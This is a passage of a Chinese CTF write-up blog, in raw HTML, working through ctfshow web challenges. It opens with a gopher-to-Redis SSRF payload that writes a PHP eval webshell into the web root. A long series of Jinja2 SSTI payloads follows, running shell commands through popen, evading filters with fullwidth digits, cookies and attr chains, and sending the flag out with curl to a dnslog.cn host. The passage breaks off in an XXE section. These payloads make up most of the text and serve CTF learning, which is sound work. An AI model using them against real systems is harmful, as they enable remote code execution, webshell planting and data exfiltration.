href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/04\/1-33.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"789\" height=\"498\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/04\/1-33.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1565\"  sizes=\"auto, (max-width: 789px) 100vw, 789px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>gopher:\/\/127.0.0.1:6379\/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2430%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5Bcmd%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A\/var\/www\/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A<\/code><\/pre>\n\n\n\n<p>\u7136\u540e\u5bf9_\u540e\u9762\u8fdb\u884curl\u7f16\u7801<\/p>\n\n\n\n<h1 class=\"wp-block-heading\">web\u5165\u95e8\u00b7SSTI<\/h1>\n\n\n\n<p>SSTI\u7684\u57fa\u672c\u601d\u8def\u5c31\u662f\u5229\u7528python\u4e2d\u7684\u9b54\u672f\u65b9\u6cd5\u627e\u5230\u81ea\u5df1\u8981\u7528\u7684\u51fd\u6570<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>__dict__ \u4fdd\u5b58\u7c7b\u5b9e\u4f8b\u6216\u5bf9\u8c61\u5b9e\u4f8b\u7684\u5c5e\u6027\u53d8\u91cf\u952e\u503c\u5bf9\u5b57\u5178\n__class__  \u8fd4\u56de\u7c7b\u578b\u6240\u5c5e\u7684\u5bf9\u8c61\n__mro__    \u8fd4\u56de\u4e00\u4e2a\u5305\u542b\u5bf9\u8c61\u6240\u7ee7\u627f\u7684\u57fa\u7c7b\u5143\u7ec4\uff0c\u65b9\u6cd5\u5728\u89e3\u6790\u65f6\u6309\u7167\u5143\u7ec4\u7684\u987a\u5e8f\u89e3\u6790\u3002\n__bases__   \u8fd4\u56de\u8be5\u5bf9\u8c61\u6240\u7ee7\u627f\u7684\u57fa\u7c7b\n\/\/ __base__\u548c__mro__\u90fd\u662f\u7528\u6765\u5bfb\u627e\u57fa\u7c7b\u7684\n\n__subclasses__   \u6bcf\u4e2a\u65b0\u7c7b\u90fd\u4fdd\u7559\u4e86\u5b50\u7c7b\u7684\u5f15\u7528\uff0c\u8fd9\u4e2a\u65b9\u6cd5\u8fd4\u56de\u4e00\u4e2a\u7c7b\u4e2d\u4ecd\u7136\u53ef\u7528\u7684\u7684\u5f15\u7528\u7684\u5217\u8868\n__init__  \u7c7b\u7684\u521d\u59cb\u5316\u65b9\u6cd5\n__globals__  \u5bf9\u5305\u542b\u51fd\u6570\u5168\u5c40\u53d8\u91cf\u7684\u5b57\u5178\u7684\u5f15\u7528<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">web361<\/h2>\n\n\n\n<p>\u6284\u7684<a href=\"https:\/\/blog.csdn.net\/qq_46918279\/article\/details\/121270806\">CTFSHOW-SSTI<\/a>\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code><strong>1\u3001\u5148\u627e\u57fa\u7c7bobject\uff0c\u7528\u7a7a\u5b57\u7b26\u4e32\"\"\u6765\u627e<\/strong>\n\u5728python\u4e2d\uff0cobject\u7c7b\u662fPython\u4e2d\u6240\u6709\u7c7b\u7684\u57fa\u7c7b\uff0c\u5982\u679c\u5b9a\u4e49\u4e00\u4e2a\u7c7b\u65f6\u6ca1\u6709\u6307\u5b9a\u7ee7\u627f\u54ea\u4e2a\u7c7b\uff0c\u5219\u9ed8\u8ba4\u7ee7\u627fobject\u7c7b\u3002\n\u4f7f\u7528?name={{\"\".__class__}}\uff0c\u5f97\u5230\u7a7a\u5b57\u7b26\u4e32\u7684\u7c7b&lt;class 'str'&gt;\n\u70b9\u53f7. \uff1apython\u4e2d\u7528\u6765\u8bbf\u95ee\u53d8\u91cf\u7684\u5c5e\u6027\n__class__\uff1a\u7c7b\u7684\u4e00\u4e2a\u5185\u7f6e\u5c5e\u6027\uff0c\u8868\u793a\u5b9e\u4f8b\u5bf9\u8c61\u7a7a\u5b57\u7b26\u4e32\"\"\u7684\u7c7b\u3002\n\n\u7136\u540e\u4f7f\u7528?name={{\"\".__class__.__mro__}}\uff0c\u5f97\u5230(&lt;class 'tuple'&gt;, &lt;class 'object'&gt;)\n__mro__       method resolution order\uff0c\u5373\u89e3\u6790\u65b9\u6cd5\u8c03\u7528\u7684\u987a\u5e8f\uff1b\u6b64\u5c5e\u6027\u662f\u7531\u7c7b\u7ec4\u6210\u7684\u5143\u7ec4\uff0c\u5728\u65b9\u6cd5\u89e3\u6790\u671f\u95f4\u4f1a\u57fa\u4e8e\u5b83\u6765\u67e5\u627e\u57fa\u7c7b\u3002\n\n\u7136\u540e\u518d\u7528?name={{().__class__.__mro__&#91;-1]}}\uff0c\u53d6\u5f97\u6700\u540e\u4e00\u4e2a\u4e1c\u897f\u5373\u7a7a\u5b57\u7b26\u4e32\u7684\u7c7b\u7684\u57fa\u7c7b&lt;class 'object'&gt;\n\u6216\u8005\u4f7f\u7528?name={{\"\".__class__.__bases__}}\uff0c\u5f97\u5230\u7a7a\u5b57\u7b26\u4e32\u7684\u7c7b\u7684\u57fa\u7c7b&lt;class 'object'&gt;\n__base__             \u7c7b\u578b\u5bf9\u8c61\u7684\u76f4\u63a5\u57fa\u7c7b\n__bases__           \u7c7b\u578b\u5bf9\u8c61\u7684\u5168\u90e8\u57fa\u7c7b\uff0c\u4ee5\u5143\u7ec4\u5f62\u5f0f\uff0c\u7c7b\u578b\u7684\u5b9e\u4f8b\u901a\u5e38\u6ca1\u6709\u5c5e\u6027 __bases__\n\n<strong>2\u3001\u5f97\u5230\u57fa\u7c7b\u4e4b\u540e\uff0c\u627e\u5230\u8fd9\u4e2a\u57fa\u7c7b\u7684\u5b50\u7c7b\u96c6\u5408<\/strong>\n\u4f7f\u7528?name={{().__class__.__mro__&#91;1].__subclasses__()}}\n__subclasses__()     \u8fd4\u56de\u8fd9\u4e2a\u7c7b\u7684\u5b50\u7c7b\u96c6\u5408\uff0c\u6bcf\u4e2a\u7c7b\u90fd\u4fdd\u7559\u4e00\u4e2a\u5bf9\u5176\u76f4\u63a5\u5b50\u7c7b\u7684\u5f31\u5f15\u7528\u5217\u8868\u3002\u8be5\u65b9\u6cd5\u8fd4\u56de\u4e00\u4e2a\u5217\u8868\uff0c\u5176\u4e2d\u5305\u542b\u6240\u6709\u4ecd\u7136\u5b58\u5728\u7684\u5f15\u7528\u3002\u5217\u8868\u6309\u7167\u5b9a\u4e49\u987a\u5e8f\u6392\u5217\u3002\n\n<strong>3\u3001\u627e\u5230\u5176\u6240\u6709\u5b50\u7c7b\u96c6\u5408\u4e4b\u540e\u627e\u4e00\u4e2a\u6211\u4eec\u80fd\u591f\u4f7f\u7528\u7684\u7c7b\uff0c\u8981\u6c42\u662f\u8fd9\u4e2a\u7c7b\u7684\u67d0\u4e2a\u65b9\u6cd5\u80fd\u591f\u88ab\u6211\u4eec\u7528\u4e8e\u6267\u884c\u3001\u627e\u5230flag<\/strong>\n\u8fd9\u91cc\u4f7f\u7528\u5176\u7b2c133\u4e2a\u7c7b\uff08&#91;0]\u662f\u7b2c\u4e00\u4e2a\u7c7b\uff09&lt;class 'os._wrap_close'&gt;\n\u4f7f\u7528?name={{\"\".__class__.__mro__&#91;-1].__subclasses__()&#91;132]}}\uff0c\u5f97\u5230&lt;class 'os._wrap_close'&gt;\n\n&lt;class 'os._wrap_close'&gt;        \u8fd9\u4e2a\u7c7b\u6709\u4e2apopen\u65b9\u6cd5\u53ef\u4ee5\u6267\u884c\u7cfb\u7edf\u547d\u4ee4\n\n<strong>4\u3001\u5b9e\u4f8b\u5316\u6211\u4eec\u627e\u5230\u7684\u7c7b\u5bf9\u8c61<\/strong>\n\u4f7f\u7528?name={{\"\".__class__.__mro__&#91;-1].__subclasses__()&#91;132].__init__}}\uff0c\u5b9e\u4f8b\u5316\u8fd9\u4e2a\u7c7b\n__init__             \u521d\u59cb\u5316\u7c7b\uff0c\u8fd4\u56de\u7684\u7c7b\u578b\u662ffunction\n\n<strong>5\u3001\u627e\u5230\u8fd9\u4e2a\u5b9e\u4f8b\u5316\u5bf9\u8c61\u7684\u6240\u6709\u65b9\u6cd5<\/strong>\n\u4f7f\u7528?name={{\"\".__class__.__mro__&#91;-1].__subclasses__()&#91;132].__init__.__globals__}}\n__globals__          \u4f7f\u7528\u65b9\u5f0f\u662f function.__globals__\u83b7\u53d6function\u6240\u5904\u7a7a\u95f4\u4e0b\u53ef\u4f7f\u7528\u7684module\u3001\u65b9\u6cd5\u4ee5\u53ca\u6240\u6709\u53d8\u91cf\u3002\n\n<strong>6\u3001\u6839\u636e\u65b9\u6cd5\u5bfb\u627eflag<\/strong>\n?name={{().__class__.__mro__&#91;-1].__subclasses__()&#91;132].__init__.__globals__&#91;'popen']('cat \/flag').read()}}\n\npopen()\u4e00\u4e2a\u65b9\u6cd5\uff0c\u7528\u4e8e\u6267\u884c\u547d\u4ee4\nread() \u4ece\u6587\u4ef6\u5f53\u524d\u4f4d\u7f6e\u8d77\u8bfb\u53d6size\u4e2a\u5b57\u8282\uff0c\u82e5\u65e0\u53c2\u6570size\uff0c\u5219\u8868\u793a\u8bfb\u53d6\u81f3\u6587\u4ef6\u7ed3\u675f\u4e3a\u6b62\uff0c\u5b83\u8303\u56f4\u4e3a\u5b57\u7b26\u4e32\u5bf9\u8c61<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">web362<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>def translate_digits(s):\n    mapping = str.maketrans(\"0123456789\", \"\uff10\uff11\uff12\uff13\uff14\uff15\uff16\uff17\uff18\uff19\")\n    return s.translate(mapping)\n\ndef translate_letters_encode(s):\n    mapping = str.maketrans(\"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\", \"\ud835\udc1a\ud835\udc1b\ud835\udc1c\ud835\udc1d\ud835\udc1e\ud835\udc1f\ud835\udc20\ud835\udc21\ud835\udc22\ud835\udc23\ud835\udc24\ud835\udc25\ud835\udc26\ud835\udc27\ud835\udc28\ud835\udc29\ud835\udc2a\ud835\udc2b\ud835\udc2c\ud835\udc2d\ud835\udc2e\ud835\udc2f\ud835\udc30\ud835\udc31\ud835\udc32\ud835\udc33\ud835\udc00\ud835\udc01\ud835\udc02\ud835\udc03\ud835\udc04\ud835\udc05\ud835\udc06\ud835\udc07\ud835\udc08\ud835\udc09\ud835\udc0a\ud835\udc0b\ud835\udc0c\ud835\udc0d\ud835\udc0e\ud835\udc0f\ud835\udc10\ud835\udc11\ud835\udc12\ud835\udc13\ud835\udc14\ud835\udc15\ud835\udc16\ud835\udc17\ud835\udc18\ud835\udc19\")\n    return s.translate(mapping)\n\ndef translate_letters_fullangle(s):\n    mapping = str.maketrans(\"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\", \"\uff41\uff42\uff43\uff44\uff45\uff46\uff47\uff48\uff49\uff4a\uff4b\uff4c\uff4d\uff4e\uff4f\uff50\uff51\uff52\uff53\uff54\uff55\uff56\uff57\uff58\uff59\uff5a\uff21\uff22\uff23\uff24\uff25\uff26\uff27\uff28\uff29\uff2a\uff2b\uff2c\uff2d\uff2e\uff2f\uff30\uff31\uff32\uff33\uff34\uff35\uff36\uff37\uff38\uff39\uff3a\")\n    return s.translate(mapping)\n\ns = \"{{().__class__.__mro__&#91;-1].__subclasses__()&#91;132].__init__.__globals__&#91;'popen']('cat \/flag').read()}}\"\ns = translate_digits(s)\nprint(s)<\/code><\/pre>\n\n\n\n<p>\u8fc7\u6ee4\u4e86\u6570\u5b57\uff0c\u7528\u5168\u89d2bypass\u4e00\u4e0b\u5373\u53ef<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>{{().__class__.__mro__&#91;-\uff11].__subclasses__()&#91;\uff11\uff13\uff12].__init__.__globals__&#91;'popen']('cat \/flag').read()}}<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">web363<\/h2>\n\n\n\n<p>\u8fc7\u6ee4\u4e86\u5355\u53cc\u5f15\u53f7\uff0c\u4f7f\u7528\u547d\u4ee4\u6267\u884c\u62fc\u63a5\u4e00\u4e0b<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>?a=os&amp;b=popen&amp;c=cat \/flag&amp;name={{url_for.__globals__&#91;request.args.a]&#91;request.args.b](request.args.c).read()}}\n<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">web364<\/h2>\n\n\n\n<p>\u8fc7\u6ee4\u4e86args\uff0c\u6362\u5176\u4ed6\u53c2\u6570\u4f20\u503c\u5373\u53ef<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>?name={{url_for.__globals__&#91;request.cookies.a]&#91;request.cookies.b](request.cookies.c).read()}}\n\nCookie:a=os;b=popen;c=cat \/flag\n<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">web365<\/h2>\n\n\n\n<p>\u8fc7\u6ee4\u4e86\u4e2d\u62ec\u53f7[]<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>?name={{url_for.__globals__.os.popen(request.cookies.a).read()}}\n\nCookie:a=cat \/flag\n<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">web366<\/h2>\n\n\n\n<p>\u8fc7\u6ee4\u4e86\u4e0b\u5212\u7ebf\uff0c\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528attr\u65b9\u6cd5\uff0crequest|attr(request.cookies.a)\u7b49\u4ef7\u4e8erequest[\u201ca\u201d]<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>?name={{(lipsum|attr(request.cookies.a)).os.popen(request.cookies.b).read()}}\n\nCookie:a=__globals__;b=cat \/flag\n<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">web367<\/h2>\n\n\n\n<p>\u8fc7\u6ee4os\uff0c\u7ee7\u7eed\u7ed5\u5373\u53ef<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>?name={{(lipsum|attr(request.cookies.a)).get(request.cookies.b).popen(request.cookies.c).read()}}\n\nCookie:a=__globals__;b=os;c=cat \/flag<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">web368<\/h2>\n\n\n\n<p>ban\u6389\u4e86{{<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>?name={% print(lipsum|attr(request.cookies.a)).get(request.cookies.b).popen(request.cookies.c).read() %}\n\nCookie:a=__globals__;b=os;c=cat \/flag<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">web369<\/h2>\n\n\n\n<p>ban\u6389\u4e86request\uff0c{%%}\u6267\u884c\u4ee3\u7801\u3001\u62fc\u63a5\u5b57\u7b26\u8d4b\u503c\u7ed9\u53d8\u91cf<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>{% set po=dict(po=a,p=a)|join%}  #\u901a\u8fc7dict()\u548cjoin\u6784\u9020pop\n\n{% set a=(()|select|string|list)|attr(po)(24)%} #a\u7b49\u4ef7\u4e8e\u4e0b\u5212\u7ebf\n\n{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}  #\u901a\u8fc7\u62fc\u63a5\u5f97\u5230__init__\n#glo\u3001geti\u3001built\u540c\u7406\n#\u518d\u5f80\u540e\uff0c\u8c03\u7528chr\uff0c\u6784\u9020\/flag\uff0c\u8bfb\u53d6\u6587\u4ef6\n<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>?name=\n{% set po=dict(po=a,p=a)|join%}\n{% set a=(()|select|string|list)|attr(po)(24)%}\n{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}\n{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}\n{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}\n{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}\n{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}\n{% set chr=x.chr%}\n{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}\n{%print(x.open(file).read())%}\n<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">web370<\/h2>\n\n\n\n<p>ban\u6389\u4e86\u6570\u5b57\uff0c\u7528\u4e4b\u524d\u90a3\u4e2a\u811a\u672c\u66ff\u6362\u4e00\u4e0b\u5373\u53ef<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>?name=\n{% set po=dict(po=a,p=a)|join%}\n{% set a=(()|select|string|list)|attr(po)(\uff12\uff14)%}\n{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}\n{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}\n{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}\n{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}\n{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}\n{% set chr=x.chr%}\n{% set file=chr(\uff14\uff17)%2bchr(\uff11\uff10\uff12)%2bchr(\uff11\uff10\uff18)%2bchr(\uff19\uff17)%2bchr(\uff11\uff10\uff13)%}\n{%print(x.open(file).read())%}\n<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">web371<\/h2>\n\n\n\n<p>ban\u4e86print\uff0ccurl\u5916\u5e26<\/p>\n\n\n\n<p>\u53d6dnslog\u4e0a\u627e\u4e2a\u6ca1\u6570\u5b57\u7684ip<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>?name={%set a=dict(po=aa,p=aa)|join%}{%set j=dict(eeeeeeeeeeeeeeeeee=a)|join|count%}{%set k=dict(eeeeeeeee=a)|join|count%}{%set l=dict(eeeeeeee=a)|join|count%}{%set n=dict(eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee=a)|join|count%}{%set m=dict(eeeeeeeeeeeeeeeeeeee=a)|join|count%}{% set b=(lipsum|string|list)|attr(a)(j)%}{%set c=(b,b,dict(glob=cc,als=aa)|join,b,b)|join%}{%set d=(b,b,dict(getit=cc,em=aa)|join,b,b)|join%}{%set e=dict(o=cc,s=aa)|join%}{% set f=(lipsum|string|list)|attr(a)(k)%}{%set g=(((lipsum|attr(c))|attr(d)(e))|string|list)|attr(a)(-l)%}{%set p=((lipsum|attr(c))|string|list)|attr(a)(n)%}{%set q=((lipsum|attr(c))|string|list)|attr(a)(m)%}{%set i=(dict(curl=aa)|join,f,p,dict(cat=a)|join,f,g,dict(flag=aa)|join,p,q,dict(qjvpco=a)|join,q,dict(dnslog=a)|join,q,dict(cn=a)|join)|join%}{%if ((lipsum|attr(c))|attr(d)(e)).popen(i)%}ataoyyds{%endif%}<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/04\/1-80-1024x521.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"521\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/04\/1-80-1024x521.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1691\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">web372<\/h2>\n\n\n\n<p>\u7528length\u66ff\u6362count<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Payload:?name={%set a=dict(po=aa,p=aa)|join%}{%set j=dict(eeeeeeeeeeeeeeeeee=a)|join|length%}{%set k=dict(eeeeeeeee=a)|join|length%}{%set l=dict(eeeeeeee=a)|join|length%}{%set n=dict(eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee=a)|join|length%}{%set m=dict(eeeeeeeeeeeeeeeeeeee=a)|join|length%}{% set b=(lipsum|string|list)|attr(a)(j)%}{%set c=(b,b,dict(glob=cc,als=aa)|join,b,b)|join%}{%set d=(b,b,dict(getit=cc,em=aa)|join,b,b)|join%}{%set e=dict(o=cc,s=aa)|join%}{% set f=(lipsum|string|list)|attr(a)(k)%}{%set g=(((lipsum|attr(c))|attr(d)(e))|string|list)|attr(a)(-l)%}{%set p=((lipsum|attr(c))|string|list)|attr(a)(n)%}{%set q=((lipsum|attr(c))|string|list)|attr(a)(m)%}{%set i=(dict(curl=aa)|join,f,p,dict(cat=a)|join,f,g,dict(flag=aa)|join,p,q,dict(qybgbf=a)|join,q,dict(dnslog=a)|join,q,dict(cn=a)|join)|join%}{%if ((lipsum|attr(c))|attr(d)(e)).popen(i)%}atao{%endif%}<\/code><\/pre>\n\n\n\n<h1 class=\"wp-block-heading\">web\u5165\u95e8\u00b7XXE<\/h1>\n\n\n\n<p>XXE \u662f XML \u5916\u90e8\u5b9e\u4f53\u6ce8\u5165\u653b\u51fb\uff0cXML \u4e2d\u53ef\u4ee5\u901a\u8fc7\u8c03\u7528\u5b9e\u4f53\u6765\u8bf7\u6c42\u672c\u5730\u6216\u8005\u8fdc\u7a0b\u5185\u5bb9\uff0c\u548c\u8fdc\u7a0b\u6587\u4ef6\u4fdd\u62a4\u7c7b\u4f3c\uff0c\u4f1a\u5f15\u53d1\u76f8\u5173\u5b89\u5168\u95ee\u9898\uff0c\u4f8b\u5982\u654f\u611f\u6587\u4ef6\u8bfb\u53d6\u3002\u4fee\u590d\u65b9\u5f0f\uff1aXML \u89e3\u6790\u5e93\u5728\u8c03\u7528\u65f6\u4e25\u683c\u7981\u6b62\u5bf9\u5916\u90e8\u5b9e\u4f53\u7684\u89e3\u6790\u3002<\/p>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p>XML\u662f\u4e00\u79cd\u975e\u5e38\u6d41\u884c\u7684\u6807\u8bb0\u8bed\u8a00\uff0c\u57281990\u5e74\u4ee3\u540e\u671f\u9996\u6b21\u6807\u51c6\u5316\uff0c\u5e76\u88ab\u65e0\u6570\u7684\u8f6f\u4ef6\u9879\u76ee\u6240\u91c7\u7528\u3002\u5b83\u7528\u4e8e\u914d\u7f6e\u6587\u4ef6\uff0c\u6587\u6863\u683c\u5f0f\uff08\u5982OOXML\uff0cODF\uff0cPDF\uff0cRSS\uff0c&#8230;\uff09\uff0c\u56fe\u50cf\u683c\u5f0f\uff08SVG\uff0cEXIF\u6807\u9898\uff09\u548c\u7f51\u7edc\u534f\u8bae\uff08WebDAV\uff0cCalDAV\uff0cXMLRPC\uff0cSOAP\uff0cXMPP\uff0cSAML\uff0c XACML\uff0c&#8230;\uff09\uff0c\u4ed6\u5e94\u7528\u7684\u5982\u6b64\u7684\u666e\u904d\u4ee5\u81f3\u4e8e\u4ed6\u51fa\u73b0\u7684\u4efb\u4f55\u95ee\u9898\u90fd\u4f1a\u5e26\u6765\u707e\u96be\u6027\u7684\u7ed3\u679c\u3002<\/p>\n\n\n\n<p>\u5728\u89e3\u6790\u5916\u90e8\u5b9e\u4f53\u7684\u8fc7\u7a0b\u4e2d\uff0cXML\u89e3\u6790\u5668\u53ef\u4ee5\u6839\u636eURL\u4e2d\u6307\u5b9a\u7684\u65b9\u6848\uff08\u534f\u8bae\uff09\u6765\u67e5\u8be2\u5404\u79cd\u7f51\u7edc\u534f\u8bae\u548c\u670d\u52a1\uff08DNS\uff0cFTP\uff0cHTTP\uff0cSMB\u7b49\uff09\u3002 \u5916\u90e8\u5b9e\u4f53\u5bf9\u4e8e\u5728\u6587\u6863\u4e2d\u521b\u5efa\u52a8\u6001\u5f15\u7528\u975e\u5e38\u6709\u7528\uff0c\u8fd9\u6837\u5bf9\u5f15\u7528\u8d44\u6e90\u6240\u505a\u7684\u4efb\u4f55\u66f4\u6539\u90fd\u4f1a\u5728\u6587\u6863\u4e2d\u81ea\u52a8\u66f4\u65b0\u3002 \u4f46\u662f\uff0c\u5728\u5904\u7406\u5916\u90e8\u5b9e\u4f53\u65f6\uff0c\u53ef\u4ee5\u9488\u5bf9\u5e94\u7528\u7a0b\u5e8f\u542f\u52a8\u8bb8\u591a\u653b\u51fb\u3002 \u8fd9\u4e9b\u653b\u51fb\u5305\u62ec\u6cc4\u9732\u672c\u5730\u7cfb\u7edf\u6587\u4ef6\uff0c\u8fd9\u4e9b\u6587\u4ef6\u53ef\u80fd\u5305\u542b\u5bc6\u7801\u548c\u79c1\u4eba\u7528\u6237\u6570\u636e\u7b49\u654f\u611f\u6570\u636e\uff0c\u6216\u5229\u7528\u5404\u79cd\u65b9\u6848\u7684\u7f51\u7edc\u8bbf\u95ee\u529f\u80fd\u6765\u64cd\u7eb5\u5185\u90e8\u5e94\u7528\u7a0b\u5e8f\u3002 \u901a\u8fc7\u5c06\u8fd9\u4e9b\u653b\u51fb\u4e0e\u5176\u4ed6\u5b9e\u73b0\u7f3a\u9677\u76f8\u7ed3\u5408\uff0c\u8fd9\u4e9b\u653b\u51fb\u7684\u8303\u56f4\u53ef\u4ee5\u6269\u5c55\u5230\u5ba2\u6237\u7aef\u5185\u5b58\u635f\u574f\uff0c\u4efb\u610f\u4ee3\u7801\u6267\u884c\uff0c\u751a\u81f3\u670d\u52a1\u4e2d\u65ad\uff0c\u5177\u4f53\u53d6\u51b3\u4e8e\u8fd9\u4e9b\u653b\u51fb\u7684\u4e0a\u4e0b\u6587\u3002<\/p>\n<\/blockquote>\n\n\n\n<p>XML 